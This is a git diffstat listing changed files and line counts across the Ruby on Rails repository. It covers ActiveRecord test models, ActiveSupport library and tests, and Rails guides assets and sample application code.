-rw-r--r--activerecord/test/fixtures/uuid_children.yml3
-rw-r--r--activerecord/test/fixtures/uuid_parents.yml2
-rw-r--r--activerecord/test/migrations/10_urban/9_add_expressions.rb11
-rw-r--r--activerecord/test/migrations/magic/1_currencies_have_symbols.rb12
-rw-r--r--activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb8
-rw-r--r--activerecord/test/models/admin/user.rb28
-rw-r--r--activerecord/test/models/author.rb47
-rw-r--r--activerecord/test/models/auto_id.rb4
-rw-r--r--activerecord/test/models/autoloadable/extra_firm.rb2
-rw-r--r--activerecord/test/models/book.rb13
-rw-r--r--activerecord/test/models/bulb.rb12
-rw-r--r--activerecord/test/models/cake_designer.rb3
-rw-r--r--activerecord/test/models/car.rb7
-rw-r--r--activerecord/test/models/category.rb6
-rw-r--r--activerecord/test/models/chef.rb3
-rw-r--r--activerecord/test/models/citation.rb3
-rw-r--r--activerecord/test/models/club.rb12
-rw-r--r--activerecord/test/models/college.rb5
-rw-r--r--activerecord/test/models/column.rb3
-rw-r--r--activerecord/test/models/column_name.rb4
-rw-r--r--activerecord/test/models/comment.rb25
-rw-r--r--activerecord/test/models/company.rb48
-rw-r--r--activerecord/test/models/company_in_module.rb22
-rw-r--r--activerecord/test/models/contact.rb1
-rw-r--r--activerecord/test/models/contract.rb1
-rw-r--r--activerecord/test/models/customer.rb2
-rw-r--r--activerecord/test/models/department.rb4
-rw-r--r--activerecord/test/models/developer.rb35
-rw-r--r--activerecord/test/models/dog.rb5
-rw-r--r--activerecord/test/models/dog_lover.rb5
-rw-r--r--activerecord/test/models/drink_designer.rb3
-rw-r--r--activerecord/test/models/electron.rb2
-rw-r--r--activerecord/test/models/face.rb2
-rw-r--r--activerecord/test/models/friendship.rb4
-rw-r--r--activerecord/test/models/hotel.rb6
-rw-r--r--activerecord/test/models/liquid.rb3
-rw-r--r--activerecord/test/models/man.rb2
-rw-r--r--activerecord/test/models/member.rb6
-rw-r--r--activerecord/test/models/member_detail.rb2
-rw-r--r--activerecord/test/models/membership.rb5
-rw-r--r--activerecord/test/models/mixed_case_monkey.rb2
-rw-r--r--activerecord/test/models/molecule.rb2
-rw-r--r--activerecord/test/models/movie.rb6
-rw-r--r--activerecord/test/models/owner.rb31
-rw-r--r--activerecord/test/models/parrot.rb8
-rw-r--r--activerecord/test/models/person.rb43
-rw-r--r--activerecord/test/models/personal_legacy_thing.rb4
-rw-r--r--activerecord/test/models/pet.rb2
-rw-r--r--activerecord/test/models/pirate.rb12
-rw-r--r--activerecord/test/models/post.rb100
-rw-r--r--activerecord/test/models/project.rb23
-rw-r--r--activerecord/test/models/publisher.rb2
-rw-r--r--activerecord/test/models/publisher/article.rb4
-rw-r--r--activerecord/test/models/publisher/magazine.rb3
-rw-r--r--activerecord/test/models/reader.rb3
-rw-r--r--activerecord/test/models/record.rb2
-rw-r--r--activerecord/test/models/reference.rb2
-rw-r--r--activerecord/test/models/reply.rb3
-rw-r--r--activerecord/test/models/ship.rb8
-rw-r--r--activerecord/test/models/shop.rb5
-rw-r--r--activerecord/test/models/speedometer.rb2
-rw-r--r--activerecord/test/models/student.rb1
-rw-r--r--activerecord/test/models/tag.rb4
-rw-r--r--activerecord/test/models/tagging.rb2
-rw-r--r--activerecord/test/models/topic.rb6
-rw-r--r--activerecord/test/models/traffic_light.rb1
-rw-r--r--activerecord/test/models/treasure.rb1
-rw-r--r--activerecord/test/models/uuid_child.rb3
-rw-r--r--activerecord/test/models/uuid_parent.rb3
-rw-r--r--activerecord/test/schema/mysql2_specific_schema.rb12
-rw-r--r--activerecord/test/schema/mysql_specific_schema.rb12
-rw-r--r--activerecord/test/schema/oracle_specific_schema.rb8
-rw-r--r--activerecord/test/schema/postgresql_specific_schema.rb102
-rw-r--r--activerecord/test/schema/schema.rb564
-rw-r--r--activerecord/test/schema/sqlite_specific_schema.rb13
-rw-r--r--activerecord/test/support/connection.rb4
-rw-r--r--activerecord/test/support/connection_helper.rb14
-rw-r--r--activerecord/test/support/ddl_helper.rb8
-rw-r--r--activerecord/test/support/schema_dumping_helper.rb20
-rw-r--r--activesupport/CHANGELOG.md321
-rw-r--r--activesupport/MIT-LICENSE2
-rw-r--r--activesupport/README.rdoc11
-rw-r--r--activesupport/Rakefile12
-rw-r--r--activesupport/activesupport.gemspec11
-rwxr-xr-xactivesupport/bin/generate_tables8
-rw-r--r--activesupport/lib/active_support.rb20
-rw-r--r--activesupport/lib/active_support/backtrace_cleaner.rb23
-rw-r--r--activesupport/lib/active_support/basic_object.rb7
-rw-r--r--activesupport/lib/active_support/benchmarkable.rb10
-rw-r--r--activesupport/lib/active_support/buffered_logger.rb7
-rw-r--r--activesupport/lib/active_support/cache.rb270
-rw-r--r--activesupport/lib/active_support/cache/file_store.rb61
-rw-r--r--activesupport/lib/active_support/cache/mem_cache_store.rb17
-rw-r--r--activesupport/lib/active_support/cache/memory_store.rb17
-rw-r--r--activesupport/lib/active_support/cache/strategy/local_cache.rb108
-rw-r--r--activesupport/lib/active_support/cache/strategy/local_cache_middleware.rb44
-rw-r--r--activesupport/lib/active_support/callbacks.rb706
-rw-r--r--activesupport/lib/active_support/concern.rb30
-rw-r--r--activesupport/lib/active_support/configurable.rb2
-rw-r--r--activesupport/lib/active_support/core_ext.rb5
-rw-r--r--activesupport/lib/active_support/core_ext/array.rb1
-rw-r--r--activesupport/lib/active_support/core_ext/array/access.rb20
-rw-r--r--activesupport/lib/active_support/core_ext/array/conversions.rb31
-rw-r--r--activesupport/lib/active_support/core_ext/array/grouping.rb41
-rw-r--r--activesupport/lib/active_support/core_ext/array/prepend_and_append.rb4
-rw-r--r--activesupport/lib/active_support/core_ext/array/uniq_by.rb19
-rw-r--r--activesupport/lib/active_support/core_ext/array/wrap.rb13
-rw-r--r--activesupport/lib/active_support/core_ext/benchmark.rb7
-rw-r--r--activesupport/lib/active_support/core_ext/big_decimal/conversions.rb29
-rw-r--r--activesupport/lib/active_support/core_ext/big_decimal/yaml_conversions.rb14
-rw-r--r--activesupport/lib/active_support/core_ext/class.rb1
-rw-r--r--activesupport/lib/active_support/core_ext/class/attribute.rb65
-rw-r--r--activesupport/lib/active_support/core_ext/class/attribute_accessors.rb174
-rw-r--r--activesupport/lib/active_support/core_ext/class/delegating_attributes.rb21
-rw-r--r--activesupport/lib/active_support/core_ext/class/subclasses.rb4
-rw-r--r--activesupport/lib/active_support/core_ext/date/calculations.rb32
-rw-r--r--activesupport/lib/active_support/core_ext/date/conversions.rb18
-rw-r--r--activesupport/lib/active_support/core_ext/date/zones.rb13
-rw-r--r--activesupport/lib/active_support/core_ext/date_and_time/calculations.rb51
-rw-r--r--activesupport/lib/active_support/core_ext/date_and_time/zones.rb41
-rw-r--r--activesupport/lib/active_support/core_ext/date_time/acts_like.rb1
-rw-r--r--activesupport/lib/active_support/core_ext/date_time/calculations.rb67
-rw-r--r--activesupport/lib/active_support/core_ext/date_time/conversions.rb16
-rw-r--r--activesupport/lib/active_support/core_ext/date_time/zones.rb24
-rw-r--r--activesupport/lib/active_support/core_ext/digest/uuid.rb51
-rw-r--r--activesupport/lib/active_support/core_ext/enumerable.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/exception.rb3
-rw-r--r--activesupport/lib/active_support/core_ext/file/atomic.rb4
-rw-r--r--activesupport/lib/active_support/core_ext/hash.rb3
-rw-r--r--activesupport/lib/active_support/core_ext/hash/compact.rb20
-rw-r--r--activesupport/lib/active_support/core_ext/hash/conversions.rb177
-rw-r--r--activesupport/lib/active_support/core_ext/hash/deep_merge.rb33
-rw-r--r--activesupport/lib/active_support/core_ext/hash/diff.rb14
-rw-r--r--activesupport/lib/active_support/core_ext/hash/except.rb12
-rw-r--r--activesupport/lib/active_support/core_ext/hash/indifferent_access.rb1
-rw-r--r--activesupport/lib/active_support/core_ext/hash/keys.rb106
-rw-r--r--activesupport/lib/active_support/core_ext/hash/slice.rb12
-rw-r--r--activesupport/lib/active_support/core_ext/hash/transform_values.rb23
-rw-r--r--activesupport/lib/active_support/core_ext/integer/multiple.rb6
-rw-r--r--activesupport/lib/active_support/core_ext/integer/time.rb3
-rw-r--r--activesupport/lib/active_support/core_ext/kernel.rb5
-rw-r--r--activesupport/lib/active_support/core_ext/kernel/concern.rb10
-rw-r--r--activesupport/lib/active_support/core_ext/kernel/reporting.rb22
-rw-r--r--activesupport/lib/active_support/core_ext/load_error.rb5
-rw-r--r--activesupport/lib/active_support/core_ext/logger.rb84
-rw-r--r--activesupport/lib/active_support/core_ext/marshal.rb26
-rw-r--r--activesupport/lib/active_support/core_ext/module.rb1
-rw-r--r--activesupport/lib/active_support/core_ext/module/aliasing.rb4
-rw-r--r--activesupport/lib/active_support/core_ext/module/attr_internal.rb3
-rw-r--r--activesupport/lib/active_support/core_ext/module/attribute_accessors.rb174
-rw-r--r--activesupport/lib/active_support/core_ext/module/concerning.rb135
-rw-r--r--activesupport/lib/active_support/core_ext/module/delegation.rb117
-rw-r--r--activesupport/lib/active_support/core_ext/module/deprecation.rb6
-rw-r--r--activesupport/lib/active_support/core_ext/module/introspection.rb16
-rw-r--r--activesupport/lib/active_support/core_ext/module/method_transplanting.rb11
-rw-r--r--activesupport/lib/active_support/core_ext/numeric/conversions.rb28
-rw-r--r--activesupport/lib/active_support/core_ext/numeric/time.rb18
-rw-r--r--activesupport/lib/active_support/core_ext/object.rb3
-rw-r--r--activesupport/lib/active_support/core_ext/object/acts_like.rb8
-rw-r--r--activesupport/lib/active_support/core_ext/object/blank.rb60
-rw-r--r--activesupport/lib/active_support/core_ext/object/deep_dup.rb14
-rw-r--r--activesupport/lib/active_support/core_ext/object/duplicable.rb15
-rw-r--r--activesupport/lib/active_support/core_ext/object/inclusion.rb40
-rw-r--r--activesupport/lib/active_support/core_ext/object/instance_variables.rb4
-rw-r--r--activesupport/lib/active_support/core_ext/object/itself.rb15
-rw-r--r--activesupport/lib/active_support/core_ext/object/json.rb197
-rw-r--r--activesupport/lib/active_support/core_ext/object/to_json.rb27
-rw-r--r--activesupport/lib/active_support/core_ext/object/to_param.rb59
-rw-r--r--activesupport/lib/active_support/core_ext/object/to_query.rb73
-rw-r--r--activesupport/lib/active_support/core_ext/object/try.rb94
-rw-r--r--activesupport/lib/active_support/core_ext/object/with_options.rb33
-rw-r--r--activesupport/lib/active_support/core_ext/proc.rb17
-rw-r--r--activesupport/lib/active_support/core_ext/range.rb1
-rw-r--r--activesupport/lib/active_support/core_ext/range/each.rb23
-rw-r--r--activesupport/lib/active_support/core_ext/range/include_range.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/string.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/string/access.rb68
-rw-r--r--activesupport/lib/active_support/core_ext/string/conversions.rb74
-rw-r--r--activesupport/lib/active_support/core_ext/string/encoding.rb8
-rw-r--r--activesupport/lib/active_support/core_ext/string/exclude.rb6
-rw-r--r--activesupport/lib/active_support/core_ext/string/filters.rb60
-rw-r--r--activesupport/lib/active_support/core_ext/string/indent.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/string/inflections.rb27
-rw-r--r--activesupport/lib/active_support/core_ext/string/output_safety.rb132
-rw-r--r--activesupport/lib/active_support/core_ext/string/xchar.rb18
-rw-r--r--activesupport/lib/active_support/core_ext/string/zones.rb14
-rw-r--r--activesupport/lib/active_support/core_ext/thread.rb86
-rw-r--r--activesupport/lib/active_support/core_ext/time/calculations.rb117
-rw-r--r--activesupport/lib/active_support/core_ext/time/conversions.rb6
-rw-r--r--activesupport/lib/active_support/core_ext/time/zones.rb25
-rw-r--r--activesupport/lib/active_support/dependencies.rb105
-rw-r--r--activesupport/lib/active_support/dependencies/autoload.rb4
-rw-r--r--activesupport/lib/active_support/deprecation.rb8
-rw-r--r--activesupport/lib/active_support/deprecation/behaviors.rb23
-rw-r--r--activesupport/lib/active_support/deprecation/proxy_wrappers.rb6
-rw-r--r--activesupport/lib/active_support/duration.rb46
-rw-r--r--activesupport/lib/active_support/file_update_checker.rb4
-rw-r--r--activesupport/lib/active_support/file_watcher.rb36
-rw-r--r--activesupport/lib/active_support/gem_version.rb15
-rw-r--r--activesupport/lib/active_support/gzip.rb4
-rw-r--r--activesupport/lib/active_support/hash_with_indifferent_access.rb58
-rw-r--r--activesupport/lib/active_support/i18n.rb5
-rw-r--r--activesupport/lib/active_support/i18n_railtie.rb9
-rw-r--r--activesupport/lib/active_support/inflections.rb7
-rw-r--r--activesupport/lib/active_support/inflector/inflections.rb76
-rw-r--r--activesupport/lib/active_support/inflector/methods.rb99
-rw-r--r--activesupport/lib/active_support/json/decoding.rb37
-rw-r--r--activesupport/lib/active_support/json/encoding.rb412
-rw-r--r--activesupport/lib/active_support/json/variable.rb18
-rw-r--r--activesupport/lib/active_support/key_generator.rb28
-rw-r--r--activesupport/lib/active_support/lazy_load_hooks.rb2
-rw-r--r--activesupport/lib/active_support/locale/en.yml6
-rw-r--r--activesupport/lib/active_support/log_subscriber.rb55
-rw-r--r--activesupport/lib/active_support/log_subscriber/test_helper.rb4
-rw-r--r--activesupport/lib/active_support/logger.rb4
-rw-r--r--activesupport/lib/active_support/logger_silence.rb24
-rw-r--r--activesupport/lib/active_support/message_encryptor.rb28
-rw-r--r--activesupport/lib/active_support/message_verifier.rb96
-rw-r--r--activesupport/lib/active_support/multibyte/chars.rb3
-rw-r--r--activesupport/lib/active_support/multibyte/unicode.rb111
-rw-r--r--activesupport/lib/active_support/notifications.rb38
-rw-r--r--activesupport/lib/active_support/notifications/fanout.rb42
-rw-r--r--activesupport/lib/active_support/notifications/instrumenter.rb30
-rw-r--r--activesupport/lib/active_support/number_helper.rb373
-rw-r--r--activesupport/lib/active_support/number_helper/number_converter.rb182
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_currency_converter.rb46
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb23
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_human_converter.rb66
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb58
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb12
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_phone_converter.rb49
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb87
-rw-r--r--activesupport/lib/active_support/option_merger.rb2
-rw-r--r--activesupport/lib/active_support/ordered_hash.rb8
-rw-r--r--activesupport/lib/active_support/ordered_options.rb8
-rw-r--r--activesupport/lib/active_support/per_thread_registry.rb53
-rw-r--r--activesupport/lib/active_support/proxy_object.rb2
-rw-r--r--activesupport/lib/active_support/queueing.rb105
-rw-r--r--activesupport/lib/active_support/rescuable.rb1
-rw-r--r--activesupport/lib/active_support/security_utils.rb20
-rw-r--r--activesupport/lib/active_support/subscriber.rb125
-rw-r--r--activesupport/lib/active_support/tagged_logging.rb1
-rw-r--r--activesupport/lib/active_support/test_case.rb90
-rw-r--r--activesupport/lib/active_support/testing/assertions.rb46
-rw-r--r--activesupport/lib/active_support/testing/autorun.rb5
-rw-r--r--activesupport/lib/active_support/testing/constant_lookup.rb4
-rw-r--r--activesupport/lib/active_support/testing/declarative.rb26
-rw-r--r--activesupport/lib/active_support/testing/deprecation.rb21
-rw-r--r--activesupport/lib/active_support/testing/isolation.rb123
-rw-r--r--activesupport/lib/active_support/testing/pending.rb14
-rw-r--r--activesupport/lib/active_support/testing/performance.rb271
-rw-r--r--activesupport/lib/active_support/testing/performance/jruby.rb115
-rw-r--r--activesupport/lib/active_support/testing/performance/rubinius.rb113
-rw-r--r--activesupport/lib/active_support/testing/performance/ruby.rb173
-rw-r--r--activesupport/lib/active_support/testing/setup_and_teardown.rb19
-rw-r--r--activesupport/lib/active_support/testing/tagged_logging.rb21
-rw-r--r--activesupport/lib/active_support/testing/time_helpers.rb131
-rw-r--r--activesupport/lib/active_support/time.rb23
-rw-r--r--activesupport/lib/active_support/time_with_zone.rb134
-rw-r--r--activesupport/lib/active_support/values/time_zone.rb206
-rw-r--r--activesupport/lib/active_support/values/unicode_tables.datbin904408 -> 1001806 bytes
-rw-r--r--activesupport/lib/active_support/version.rb12
-rw-r--r--activesupport/lib/active_support/xml_mini.rb6
-rw-r--r--activesupport/lib/active_support/xml_mini/jdom.rb8
-rw-r--r--activesupport/lib/active_support/xml_mini/libxmlsax.rb2
-rw-r--r--activesupport/lib/active_support/xml_mini/nokogirisax.rb2
-rw-r--r--activesupport/test/abstract_unit.rb26
-rw-r--r--activesupport/test/autoload_test.rb23
-rw-r--r--activesupport/test/autoloading_fixtures/html/some_class.rb4
-rw-r--r--activesupport/test/autoloading_fixtures/typo.rb2
-rw-r--r--activesupport/test/caching_test.rb206
-rw-r--r--activesupport/test/callback_inheritance_test.rb2
-rw-r--r--activesupport/test/callbacks_test.rb366
-rw-r--r--activesupport/test/clean_backtrace_test.rb26
-rw-r--r--activesupport/test/concern_test.rb34
-rw-r--r--activesupport/test/configurable_test.rb16
-rw-r--r--activesupport/test/constantize_test_cases.rb49
-rw-r--r--activesupport/test/core_ext/array/access_test.rb30
-rw-r--r--activesupport/test/core_ext/array/conversions_test.rb197
-rw-r--r--activesupport/test/core_ext/array/extract_options_test.rb45
-rw-r--r--activesupport/test/core_ext/array/grouping_test.rb126
-rw-r--r--activesupport/test/core_ext/array/prepend_append_test.rb12
-rw-r--r--activesupport/test/core_ext/array/wrap_test.rb77
-rw-r--r--activesupport/test/core_ext/array_ext_test.rb471
-rw-r--r--activesupport/test/core_ext/big_decimal/yaml_conversions_test.rb11
-rw-r--r--activesupport/test/core_ext/bigdecimal_test.rb13
-rw-r--r--activesupport/test/core_ext/blank_test.rb24
-rw-r--r--activesupport/test/core_ext/class/attribute_accessor_test.rb59
-rw-r--r--activesupport/test/core_ext/class/attribute_test.rb9
-rw-r--r--activesupport/test/core_ext/class/delegating_attributes_test.rb39
-rw-r--r--activesupport/test/core_ext/date_and_time_behavior.rb5
-rw-r--r--activesupport/test/core_ext/date_ext_test.rb53
-rw-r--r--activesupport/test/core_ext/date_time_ext_test.rb63
-rw-r--r--activesupport/test/core_ext/digest/uuid_test.rb24
-rw-r--r--activesupport/test/core_ext/duplicable_test.rb38
-rw-r--r--activesupport/test/core_ext/duration_test.rb96
-rw-r--r--activesupport/test/core_ext/enumerable_test.rb31
-rw-r--r--activesupport/test/core_ext/hash/transform_keys_test.rb32
-rw-r--r--activesupport/test/core_ext/hash/transform_values_test.rb61
-rw-r--r--activesupport/test/core_ext/hash_ext_test.rb283
-rw-r--r--activesupport/test/core_ext/kernel/concern_test.rb13
-rw-r--r--activesupport/test/core_ext/kernel_test.rb50
-rw-r--r--activesupport/test/core_ext/load_error_test.rb11
-rw-r--r--activesupport/test/core_ext/marshal_test.rb4
-rw-r--r--activesupport/test/core_ext/module/attribute_accessor_test.rb26
-rw-r--r--activesupport/test/core_ext/module/concerning_test.rb65
-rw-r--r--activesupport/test/core_ext/module_test.rb98
-rw-r--r--activesupport/test/core_ext/name_error_test.rb12
-rw-r--r--activesupport/test/core_ext/numeric_ext_test.rb115
-rw-r--r--activesupport/test/core_ext/object/acts_like_test.rb33
-rw-r--r--activesupport/test/core_ext/object/blank_test.rb36
-rw-r--r--activesupport/test/core_ext/object/deep_dup_test.rb (renamed from activesupport/test/core_ext/deep_dup_test.rb)0
-rw-r--r--activesupport/test/core_ext/object/duplicable_test.rb31
-rw-r--r--activesupport/test/core_ext/object/inclusion_test.rb19
-rw-r--r--activesupport/test/core_ext/object/instance_variables_test.rb31
-rw-r--r--activesupport/test/core_ext/object/itself_test.rb9
-rw-r--r--activesupport/test/core_ext/object/json_cherry_pick_test.rb42
-rw-r--r--activesupport/test/core_ext/object/to_param_test.rb18
-rw-r--r--activesupport/test/core_ext/object/to_query_test.rb31
-rw-r--r--activesupport/test/core_ext/object/try_test.rb99
-rw-r--r--activesupport/test/core_ext/object_and_class_ext_test.rb177
-rw-r--r--activesupport/test/core_ext/proc_test.rb14
-rw-r--r--activesupport/test/core_ext/range_ext_test.rb41
-rw-r--r--activesupport/test/core_ext/string_ext_test.rb481
-rw-r--r--activesupport/test/core_ext/thread_test.rb75
-rw-r--r--activesupport/test/core_ext/time_ext_test.rb174
-rw-r--r--activesupport/test/core_ext/time_with_zone_test.rb240
-rw-r--r--activesupport/test/core_ext/uri_ext_test.rb2
-rw-r--r--activesupport/test/dependecies_test_helpers.rb27
-rw-r--r--activesupport/test/dependencies/raises_exception_without_blame_file.rb5
-rw-r--r--activesupport/test/dependencies_test.rb408
-rw-r--r--activesupport/test/dependencies_test_helpers.rb28
-rw-r--r--activesupport/test/deprecation_test.rb45
-rw-r--r--activesupport/test/descendants_tracker_with_autoloading_test.rb6
-rw-r--r--activesupport/test/descendants_tracker_without_autoloading_test.rb10
-rw-r--r--activesupport/test/empty_bool.rb7
-rw-r--r--activesupport/test/fixtures/custom.rb2
-rw-r--r--activesupport/test/fixtures/xml/jdom_doctype.dtd1
-rw-r--r--activesupport/test/fixtures/xml/jdom_entities.txt1
-rw-r--r--activesupport/test/fixtures/xml/jdom_include.txt1
-rw-r--r--activesupport/test/gzip_test.rb18
-rw-r--r--activesupport/test/hash_with_indifferent_access_test.rb10
-rw-r--r--activesupport/test/i18n_test.rb3
-rw-r--r--activesupport/test/inflector_test.rb111
-rw-r--r--activesupport/test/inflector_test_cases.rb20
-rw-r--r--activesupport/test/json/decoding_test.rb60
-rw-r--r--activesupport/test/json/encoding_test.rb338
-rw-r--r--activesupport/test/key_generator_test.rb30
-rw-r--r--activesupport/test/load_paths_test.rb4
-rw-r--r--activesupport/test/logger_test.rb10
-rw-r--r--activesupport/test/message_encryptor_test.rb35
-rw-r--r--activesupport/test/message_verifier_test.rb75
-rw-r--r--activesupport/test/multibyte_chars_test.rb35
-rw-r--r--activesupport/test/multibyte_conformance.rb129
-rw-r--r--activesupport/test/multibyte_conformance_test.rb133
-rw-r--r--activesupport/test/multibyte_proxy_test.rb34
-rw-r--r--activesupport/test/multibyte_test_helpers.rb6
-rw-r--r--activesupport/test/notifications/instrumenter_test.rb58
-rw-r--r--activesupport/test/notifications_test.rb26
-rw-r--r--activesupport/test/number_helper_i18n_test.rb16
-rw-r--r--activesupport/test/number_helper_test.rb36
-rw-r--r--activesupport/test/option_merger_test.rb9
-rw-r--r--activesupport/test/ordered_hash_test.rb14
-rw-r--r--activesupport/test/ordered_options_test.rb20
-rw-r--r--activesupport/test/queueing/synchronous_queue_test.rb27
-rw-r--r--activesupport/test/queueing/test_queue_test.rb146
-rw-r--r--activesupport/test/queueing/threaded_consumer_test.rb110
-rw-r--r--activesupport/test/rescuable_test.rb9
-rw-r--r--activesupport/test/safe_buffer_test.rb25
-rw-r--r--activesupport/test/security_utils_test.rb9
-rw-r--r--activesupport/test/spec_type_test.rb22
-rw-r--r--activesupport/test/string_inquirer_test.rb2
-rw-r--r--activesupport/test/subscriber_test.rb54
-rw-r--r--activesupport/test/test_case_test.rb259
-rw-r--r--activesupport/test/test_test.rb188
-rw-r--r--activesupport/test/testing/constant_lookup_test.rb19
-rw-r--r--activesupport/test/testing/performance_test.rb68
-rw-r--r--activesupport/test/time_travel_test.rb72
-rw-r--r--activesupport/test/time_zone_test.rb97
-rw-r--r--activesupport/test/time_zone_test_helpers.rb16
-rw-r--r--activesupport/test/transliterate_test.rb10
-rw-r--r--activesupport/test/ts_isolated.rb16
-rw-r--r--activesupport/test/xml_mini/jdom_engine_test.rb47
-rw-r--r--activesupport/test/xml_mini/libxml_engine_test.rb19
-rw-r--r--activesupport/test/xml_mini/libxmlsax_engine_test.rb19
-rw-r--r--activesupport/test/xml_mini/nokogiri_engine_test.rb19
-rw-r--r--activesupport/test/xml_mini/nokogirisax_engine_test.rb25
-rw-r--r--activesupport/test/xml_mini/rexml_engine_test.rb10
-rw-r--r--activesupport/test/xml_mini_test.rb195
-rwxr-xr-xci/travis.rb26
-rw-r--r--guides/.document (renamed from guides/code/getting_started/lib/tasks/.gitkeep)0
-rw-r--r--guides/CHANGELOG.md10
-rw-r--r--guides/Rakefile8
-rw-r--r--guides/assets/images/akshaysurve.jpgbin0 -> 3444 bytes
-rw-r--r--guides/assets/images/challenge.pngbin33373 -> 0 bytes
-rw-r--r--guides/assets/images/edge_badge.pngbin5964 -> 5695 bytes
-rw-r--r--guides/assets/images/feature_tile.gifbin43 -> 35 bytes
-rw-r--r--guides/assets/images/footer_tile.gifbin44 -> 36 bytes
-rw-r--r--guides/assets/images/fxn.pngbin20664 -> 15436 bytes
-rw-r--r--guides/assets/images/getting_started/article_with_comments.pngbin0 -> 15190 bytes
-rw-r--r--guides/assets/images/getting_started/challenge.pngbin0 -> 21690 bytes
-rw-r--r--guides/assets/images/getting_started/confirm_dialog.pngbin29542 -> 18809 bytes
-rw-r--r--guides/assets/images/getting_started/forbidden_attributes_for_new_article.pngbin0 -> 10783 bytes
-rw-r--r--guides/assets/images/getting_started/form_with_errors.pngbin14031 -> 12447 bytes
-rw-r--r--guides/assets/images/getting_started/index_action_with_edit_link.pngbin9772 -> 10209 bytes
-rw-r--r--guides/assets/images/getting_started/new_article.pngbin0 -> 3579 bytes
-rw-r--r--guides/assets/images/getting_started/new_post.pngbin5888 -> 0 bytes
-rw-r--r--guides/assets/images/getting_started/post_with_comments.pngbin18496 -> 0 bytes
-rw-r--r--guides/assets/images/getting_started/rails_welcome.pngbin0 -> 94542 bytes
-rw-r--r--guides/assets/images/getting_started/routing_error_no_controller.pngbin6268 -> 4186 bytes
-rw-r--r--guides/assets/images/getting_started/routing_error_no_route_matches.pngbin6508 -> 5913 bytes
-rw-r--r--guides/assets/images/getting_started/show_action_for_articles.pngbin0 -> 2965 bytes
-rw-r--r--guides/assets/images/getting_started/show_action_for_posts.pngbin2991 -> 0 bytes
-rw-r--r--guides/assets/images/getting_started/template_is_missing_articles_new.pngbin0 -> 6174 bytes
-rw-r--r--guides/assets/images/getting_started/template_is_missing_posts_new.pngbin5851 -> 0 bytes
-rw-r--r--guides/assets/images/getting_started/undefined_method_post_path.pngbin9217 -> 0 bytes
-rw-r--r--guides/assets/images/getting_started/unknown_action_create_for_articles.pngbin0 -> 5327 bytes
-rw-r--r--guides/assets/images/getting_started/unknown_action_create_for_posts.pngbin4146 -> 0 bytes
-rw-r--r--guides/assets/images/getting_started/unknown_action_new_for_articles.pngbin0 -> 5481 bytes
-rw-r--r--guides/assets/images/getting_started/unknown_action_new_for_posts.pngbin4208 -> 0 bytes
-rw-r--r--guides/assets/images/header_tile.gifbin44 -> 36 bytes
-rw-r--r--guides/assets/images/icons/README2
-rw-r--r--guides/assets/images/icons/callouts/11.pngbin290 -> 176 bytes
-rw-r--r--guides/assets/images/icons/callouts/12.pngbin322 -> 186 bytes
-rw-r--r--guides/assets/images/icons/callouts/13.pngbin328 -> 188 bytes
-rw-r--r--guides/assets/images/icons/callouts/15.pngbin340 -> 191 bytes
-rw-r--r--guides/assets/images/icons/caution.pngbin2300 -> 2295 bytes
-rw-r--r--guides/assets/images/icons/example.pngbin2079 -> 2078 bytes
-rw-r--r--guides/assets/images/jaimeiniesta.jpgbin11913 -> 0 bytes
-rw-r--r--guides/assets/images/radar.pngbin19521 -> 17095 bytes
-rw-r--r--guides/assets/images/rails4_features.pngbin132154 -> 67766 bytes
-rw-r--r--guides/assets/images/rails_guides_kindle_cover.jpgbin31785 -> 20955 bytes
-rw-r--r--guides/assets/images/rails_welcome.pngbin71979 -> 0 bytes
-rw-r--r--guides/assets/images/vijaydev.jpgbin4610 -> 2897 bytes
-rw-r--r--guides/assets/javascripts/guides.js70
-rw-r--r--guides/assets/stylesheets/main.css14
-rw-r--r--guides/assets/stylesheets/print.css2
-rw-r--r--guides/bug_report_templates/action_controller_gem.rb47
-rw-r--r--guides/bug_report_templates/action_controller_master.rb56
-rw-r--r--guides/bug_report_templates/active_record_gem.rb40
-rw-r--r--guides/bug_report_templates/active_record_master.rb51
-rw-r--r--guides/code/getting_started/Gemfile38
-rw-r--r--guides/code/getting_started/README.rdoc259
-rw-r--r--guides/code/getting_started/Rakefile7
-rw-r--r--guides/code/getting_started/app/assets/images/rails.pngbin6646 -> 0 bytes
-rw-r--r--guides/code/getting_started/app/assets/javascripts/application.js15
-rw-r--r--guides/code/getting_started/app/assets/stylesheets/application.css13
-rw-r--r--guides/code/getting_started/app/controllers/application_controller.rb3
-rw-r--r--guides/code/getting_started/app/controllers/comments_controller.rb17
-rw-r--r--guides/code/getting_started/app/controllers/posts_controller.rb47
-rw-r--r--guides/code/getting_started/app/controllers/welcome_controller.rb4
-rw-r--r--guides/code/getting_started/app/helpers/application_helper.rb2
-rw-r--r--guides/code/getting_started/app/helpers/comments_helper.rb2
-rw-r--r--guides/code/getting_started/app/helpers/posts_helper.rb2
-rw-r--r--guides/code/getting_started/app/helpers/welcome_helper.rb2
-rw-r--r--guides/code/getting_started/app/models/comment.rb3
-rw-r--r--guides/code/getting_started/app/models/post.rb6
-rw-r--r--guides/code/getting_started/app/views/comments/_comment.html.erb15
-rw-r--r--guides/code/getting_started/app/views/comments/_form.html.erb13
-rw-r--r--guides/code/getting_started/app/views/layouts/application.html.erb14
-rw-r--r--guides/code/getting_started/app/views/posts/_form.html.erb25
-rw-r--r--guides/code/getting_started/app/views/posts/edit.html.erb5
-rw-r--r--guides/code/getting_started/app/views/posts/index.html.erb23
-rw-r--r--guides/code/getting_started/app/views/posts/new.html.erb5
-rw-r--r--guides/code/getting_started/app/views/posts/show.html.erb18
-rw-r--r--guides/code/getting_started/app/views/welcome/index.html.erb2
-rw-r--r--guides/code/getting_started/config.ru4
-rw-r--r--guides/code/getting_started/config/application.rb52
-rw-r--r--guides/code/getting_started/config/boot.rb4
-rw-r--r--guides/code/getting_started/config/database.yml25
